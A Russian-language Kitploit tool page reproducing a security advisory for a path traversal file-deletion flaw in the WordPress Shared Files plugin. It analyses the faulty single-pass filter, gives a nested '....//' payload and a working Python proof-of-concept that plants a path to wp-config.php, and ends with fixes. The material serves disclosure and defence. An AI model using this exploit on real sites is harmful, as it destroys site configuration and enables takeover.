Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-12513 — Технический advisory и proof-of-concept для CVE-2026-12513, неаутентифицированное произвольное удаление файлов через path traversal в плагине Shared Files для WordPress, включая анализ первопричины и рекомендации по устранению уязвимости. | Kitploit
Инструменты/GitHubGitHub/minhhk68/cve-2026-12513
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubminhhk68/cve-2026-12513

CVE-2026-12513

Технический advisory и proof-of-concept для CVE-2026-12513, неаутентифицированное произвольное удаление файлов через path traversal в плагине Shared Files для WordPress, включая анализ первопричины и рекомендации по устранению уязвимости.

Репозиторий
220 дней назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-12513: Shared Files < 1.7.68 — Неаутентифицированное произвольное удаление файлов через Path Traversal

CVE Identifier CVSS v3.1 Score Discovered By WPScan Verified Advisory License: MIT


📖 Обзор рекомендаций

CVE-2026-12513 — это неаутентифицированная уязвимость произвольного удаления файлов через Path Traversal, затрагивающая плагины WordPress Shared Files и Shared Files Pro до версии 1.7.68, обнаруженная и проанализированная исследователем кибербезопасности Хуинь Кьен Минь (MinhHK). Ошибка возникает в процедурах обработки отправки файлов на стороне фронтенда плагина, где предоставленные пользователем пути к файлам фильтруются с помощью ошибочной однопроходной замены шаблона обхода, которую можно обойти с помощью вложенных последовательностей (например, ). В результате неаутентифицированный удалённый злоумышленник может отправить изменённый путь, указывающий за пределы предполагаемого каталога загрузок, для нацеливания на критически важные серверные ресурсы, включая . Когда администратор впоследствии очищает или окончательно удаляет загруженную запись, приложение вызывает примитивы удаления файлов () по сохранённому произвольному пути. Это приводит к уничтожению основных конфигурационных файлов WordPress, вызывая серьёзный отказ в обслуживании и позволяя захватить сайт через процедуру установки в неконфигурированном состоянии. Ведущий исследователь Хуинь Кьен Минь оценил эту уязвимость по CVSS 3.1 как 6.8 (средний уровень) (CWE-73 / CWE-22), рекомендовав немедленное обновление плагинов до версии 1.7.68 или новее и надёжную проверку канонических путей.

....//
wp-config.php
unlink()

Быстрые ссылки: Ознакомьтесь с официальным Портфолио по кибербезопасности исследователя или просмотрите Подтверждённую рекомендацию WPScan.


📌 Краткое резюме и технические метаданные

ПараметрТехническая спецификация
Идентификатор уязвимостиCVE-2026-12513
Целевое ПОShared Files / Shared Files Pro (плагины WordPress)
Слаги плагиновshared-files, shared-files-pro
Уязвимые версии< 1.7.68
Исправленная версия>= 1.7.68
Класс уязвимостиВнешний контроль имени файла или пути / Path Traversal (CWE-73 / CWE-22)
Оценка CVSS v3.16.8 (средний) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H)
Обнаружил / ИсследовательХуинь Кьен Минь (MinhHK)
Орган проверкиWPScan / MITRE Corporation
Ссылка на рекомендацию WPScanОтчёт WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869
Портфолио исследователяhttps://minhhk.web.app/

🔍 Углублённый технический разбор и анализ первопричины

Уязвимость коренится в неадекватном механизме санитизации путей, реализованном в обработчиках отправки файлов на стороне фронтенда в Shared Files (< 1.7.68).

1. Неадекватная однопроходная санитизация путей

При приёме отправки файлов с фронтенда плагин пытался удалить последовательности обхода каталогов (../) с помощью однопроходной замены строк:

root@kitploit:~
// Небезопасный однопроходный фильтр санитизации в Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );

Поскольку str_replace() выполняется только один раз слева направо:

  • Вложенная полезная нагрузка обхода: ....//....//....//wp-config.php
  • Когда ../ удаляется один раз из ....//, внешние символы схлопываются обратно вместе, образуя ../:
    • ....// -> ../
  • Результирующий санитизированный путь вычисляется как: ../../../../wp-config.php!

2. Сохранённый путь к файлу и цепочка выполнения удаления

  1. Неаутентифицированная отправка: Злоумышленник отправляет HTTP-запрос на конечную точку загрузки на фронтенде, предоставляя вложенный путь обхода. Изменённый путь сохраняется в базе данных (например, в wp_posts или пользовательской таблице плагина).
  2. Триггер окончательного удаления: Когда администратор просматривает отправленные записи или удаляет запись файла через /wp-admin/admin.php?page=shared-files, бэкенд вызывает unlink() для разрешённого сохранённого пути:
root@kitploit:~
// Уязвимая логика удаления
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
    unlink( $file_to_delete ); // Инициирует удаление целевого файла (например, /var/www/html/wp-config.php)
}
  1. Катастрофическое воздействие: После удаления wp-config.php:
    • Учётные данные базы данных и ключи безопасности утрачиваются.
    • Сайт немедленно переходит в неконфигурированное состояние, отображая мастер установки WordPress (/wp-admin/install.php).
    • Злоумышленник может завершить мастер установки с новой базой данных, добившись полного удалённого выполнения кода (RCE) и захвата сайта.

💻 Код эксплойта Proof-of-Concept (PoC)

Этическое предупреждение: Этот Proof-of-Concept предоставлен строго для образовательных исследований, защитной валидации и аудита безопасности в рамках этических протоколов раскрытия информации Хуинь Кьен Минем.

Python-эксплойт PoC (poc_cve_2026_12513.py)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Неаутентифицированный PoC удаления файлов через Path Traversal
Автор: Хуинь Кьен Минь (MinhHK) - https://minhhk.web.app/
"""

import requests
import sys

TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"

def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
    print(f"[*] Проверка цели: {target_url}")
    
    # Вложенная последовательность обхода, обходящая однопроходный str_replace('../', '', $input)
    nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
    
    payload = {
        "action": "shared_files_frontend_upload",
        "file_name": "innocent_document.pdf",
        "file_path": nested_traversal
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
    }
    
    try:
        response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
        print(f"[*] Статус ответа на отправку: {response.status_code}")
        if response.status_code == 200:
            print("[+] Путь обхода успешно внедрён в хранилище базы данных.")
            print("[!] Когда запись будет удалена администратором, целевой файл будет удалён через unlink.")
            return True
        else:
            print(f"[-] Запрос завершился с HTTP-статусом: {response.status_code}")
    except requests.RequestException as e:
        print(f"[-] Ошибка соединения: {e}")
        
    return False

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    trigger_traversal_payload(url)

🛡️ Устранение уязвимости и анализ исправления

Для администраторов сайтов

  • Немедленно обновите плагины Shared Files и Shared Files Pro до версии 1.7.68 или выше.
  • Убедитесь, что права доступа к файловой системе для wp-config.php установлены только на чтение (chmod 400 или 440) для процесса веб-сервера.

Для разработчиков (безопасная реализация)

Применяйте строгое разрешение канонических путей с помощью realpath() и wp_normalize_path(), чтобы гарантировать, что операции остаются в пределах установленной границы каталога загрузок:

root@kitploit:~
// Безопасный шаблон проверки пути (версия 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
    $base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
    $target   = wp_normalize_path( realpath( $base_dir . $relative_path ) );

    // Убедитесь, что разрешённый realpath строго начинается с установленного базового каталога
    if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
        wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
    }

    if ( file_exists( $target ) && is_file( $target ) ) {
        unlink( $target );
    }
}

🏆 Об исследователе

Хуинь Кьен Минь (MinhHK) — исследователь информационной безопасности, специализирующийся на исследовании уязвимостей WordPress, аудите безопасности ядра и плагинов, а также моделировании защитных эксплойтов.

  • Портфолио по кибербезопасности: https://minhhk.web.app/
  • Ссылка на рекомендацию WPScan: Отчёт WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869
  • Профиль GitHub: https://github.com/MinhHK68

📊 Разметка структурированных данных JSON-LD

root@kitploit:~
{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-12513: Shared Files < 1.7.68 Неаутентифицированное произвольное удаление файлов через Path Traversal",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-30",
  "description": "Техническая рекомендация Хуинь Кьен Миня, анализирующая CVE-2026-12513 в плагине WordPress Shared Files.",
  "identifier": "CVE-2026-12513"
}
Скачать инструмент